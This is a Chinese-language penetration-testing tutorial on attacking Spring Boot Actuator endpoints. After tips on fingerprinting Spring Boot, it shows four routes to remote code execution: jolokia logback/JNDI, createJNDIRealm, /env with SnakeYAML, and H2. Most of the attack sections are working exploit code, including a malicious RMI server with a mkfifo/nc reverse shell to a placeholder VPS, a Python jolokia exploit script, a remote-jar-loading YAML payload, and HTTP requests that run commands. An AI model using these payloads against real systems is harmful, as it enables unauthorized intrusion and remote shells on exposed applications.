Spring boot 識別
1、網頁favicon.ico 默認小綠葉圖標
2、Spring boot 默認報錯特徵
3、Spring Boot 1-1.4,無需身份驗證即可訪問所有端點;Spring Boot >= 1.5 默認只允許訪問/health和/info端點;Spring boot 2.x中,端點默認存在於/actuator路徑下。
4、實戰中端點可能存放在多級目錄下,需要自行進行尋找
Actuator是Spring Boot項目中非常強大一個功能,有助於對應用程序進行監視和管理,通過restful api 請求來監管、審計、收集應用的運行情況,其提供的執行器端點分為兩類:原生端點和用戶自定義擴展端點,版本1和版本2有區別。
Spring Boot Actuator RCE via jolokia
文章中xx.xx.xx.xx均代表vps地址
方法1:Logback
在jolokia/list目錄檢索存在logback組件,則可以使用jolokia遠程包含logback.xml配置文件,直接執行遠程引用字節碼
環境搭建:
<code>git clone https://github.com/artsploit/actuator-testbed cd actuator-testbed mvn install mvn spring-boot:run/<code>
運行成功可以瀏覽器訪問
漏洞測試:
XXE
Vps:開個web服務,存放兩個文件
File1:logback.xml
File2:file.dtd
<code> ">/<code>
POC:
<code>http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xx.xx.xx.xx!/logback.xml/<code>
RCE:
可以在logback.xml中使用insertFromJNDI標籤,這個標籤允許從JNDI加載變量,導致了rce漏洞
1、生成RMIServer-0.1.0.jar
進入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目錄,src目錄裡面有惡意rmi代碼EvilRMIServer.java,更改對應的ip和端口利用maven將其打包成RMIServer-0.1.0.jar。利用代碼添加了第10行指定RMI通信Host為vps外網地址,不然會返回vps內網ip導致反彈shell失敗。
<code>import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1099"); Registry registry = LocateRegistry.createRegistry(1099); System.setProperty("java.rmi.server.hostname","xx.xx.xx.xx"); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 8888 >/tmp/f']).start()")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("jndi", referenceWrapper); } }/<code>
進入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目錄,利用maven對Java代碼打包
<code>mvn clean install/<code>
打包成功後會在target目錄下生成RMIServer-0.1.0.jar文件,上傳到VPS
2、vps開web服務存放文件file:logback.xml
<code>/<code>
3、將RMIServer-0.1.0.jar上傳到vps,執行開啟rmi監聽,可在上述java源碼中指定監聽端口
<code>java -jar RMIServer-0.1.0.jar/<code>
這步監聽到連接沒有響應,不用等,直接看nc
4、vps上nc監聽第一步Java代碼中寫的反彈端口
5、poc
<code>http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xx.xx.xx.xx!/logback.xml/<code>
方法2:createJNDIRealm
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory類提供的createJNDIRealm方法,可能存在JNDI注入,導致遠程代碼執行。
1、直接使用上述生成的RMIServer-0.1.0.jar監聽,nc監聽
2、執行exp
<code># -*- coding:utf-8 -*- # python2.7 import requests as req import sys from pprint import pprint # usage: python createJNDIRealm-rec.py http://127.0.0.1:8090 url = sys.argv[1] + "/jolokia/" pprint(url) #創建JNDIRealm create_JNDIrealm = { "mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"] } #寫入contextFactory set_contextFactory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" } #寫入connectionURL為自己公網RMI service地址 set_connectionURL = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://xx.xx.xx.xx:1099/jndi" } #停止Realm stop_JNDIrealm = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": [] } #運行Realm,觸發JNDI 注入 start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.post(url, json=i) pprint(rep.json())/<code>
3、收到反彈shell
Spring Boot Actuator RCE via Cloud env
測試環境和上面Spring Boot Actuator RCE via jolokia一致
當上面一種找不到logback配置可以嘗試修改env配置文件進行xstream反序列化
Spring Boot 2.x 無法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本時可利用成功,使用Edgware 無法成功
Spring Boot <= 1.4 可利用成功
需要兩個包:spring-boot-starter-actuator(/refresh刷新配置需要);spring-cloud-starter-netflix-eureka-client(功能依賴)
poc:yaml-payload (https://github.com/artsploit/yaml-payload)
RCE:
1、編譯yaml-payload.jar文件放到可訪問的站點,例如VPS
下載上述poc,進入yaml-payload-master\src\artsploit,src目錄有利用代碼,更改對應的命令執行部分,測試可以寫自己dnslog地址
<code>package artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("dig aaaaa.ijl8d4.ceye.io"); //Runtime.getRuntime().exec("xxxxxx"); } catch (IOException e) { e.printStackTrace(); } } @Override public String getEngineName() { return null; } @Override public String getEngineVersion() { return null; } @Override public List getExtensions() { return null; } @Override public List getMimeTypes() { return null; } @Override public List getNames() { return null; } @Override public String getLanguageName() { return null; } @Override public String getLanguageVersion() { return null; } @Override public Object getParameter(String key) { return null; } @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; } @Override public String getOutputStatement(String toDisplay) { return null; } @Override public String getProgram(String... statements) { return null; } @Override public ScriptEngine getScriptEngine() { return null; } }/<code>
編譯上述Java文件,將生成的jar傳到VPS,vps開web服務
<code>javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ ./<code>
2、編寫yml文件用於遠程加載,放在vps
File:yaml-payload.yml
<code>!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://xx.xx.xx.xx/yaml-payload.jar"] ]] ]/<code>
3、利用 /env 端點修改spring.cloud.bootstrap.location 屬性值為一個外部 yml 配置文件 url 地址
<code>curl -XPOST http://127.0.0.1:8090/env -d "spring.cloud.bootstrap.location=http://XX.XX.XX.XX/yaml-payload.yml"/<code>
執行完/env端點能看到設置的值
4、請求 /refresh 端點,觸發程序下載外部 yml 文件,並由 SnakeYAML 庫進行解析,因 SnakeYAML 在反序列化時支持指定 class 類型和構造方法的參數,結合 JDK 自帶的 javax.script.ScriptEngineManager 類,可實現加載遠程 jar 包,完成任意代碼執行。
<code>curl -XPOST http://127.0.0.1:8090/refresh/<code>
執行完,即可看到dnslog請求,在第一步Java代碼中設置的內容
Spring Boot Actuator RCE via H2
Spring Boot 2.x默認使用HikariCP數據庫連接池,所以可通過H2數據庫實現RCE
Spring boot 2.x默認端點在目錄/actuator下
環境搭建:
<code>git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git docker build -t spring-boot-rce . docker run -p 8081:8080 -t spring-boot-rce/<code>
docker運行:
漏洞驗證:
運行成功後,可以在瀏覽器訪問 http://192.168.28.128:8081/actuator/env
1、通過POST方法利用/env端點進行環境變量的賦值
<code>POST /actuator/env HTTP/1.1 Host: 192.168.28.128:8081 Content-Type: application/json Content-Length: 356 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xxx.ijl8d4.ceye.io');"}/<code>
執行完後訪問http://192.168.28.128:8081/actuator/env 可以看到寫入的命令
2、通過向端點/actuator/restart發送POST請求重啟應用發出新的數據庫連接
<code>POST /actuator/restart HTTP/1.1 Host: 192.168.28.128:8081 Content-Type: application/json Content-Length: 2 {}/<code>
執行完即可在dnslog中看到請求記錄
參考
https://www.secshi.com/21506.html
https://www.anquanke.com/post/id/195929
https://github.com/artsploit/yaml-payload
https://github.com/b1ngz/spring-boot-actuator-cloud-vul
https://www.cnblogs.com/cwkiller/p/12829974.html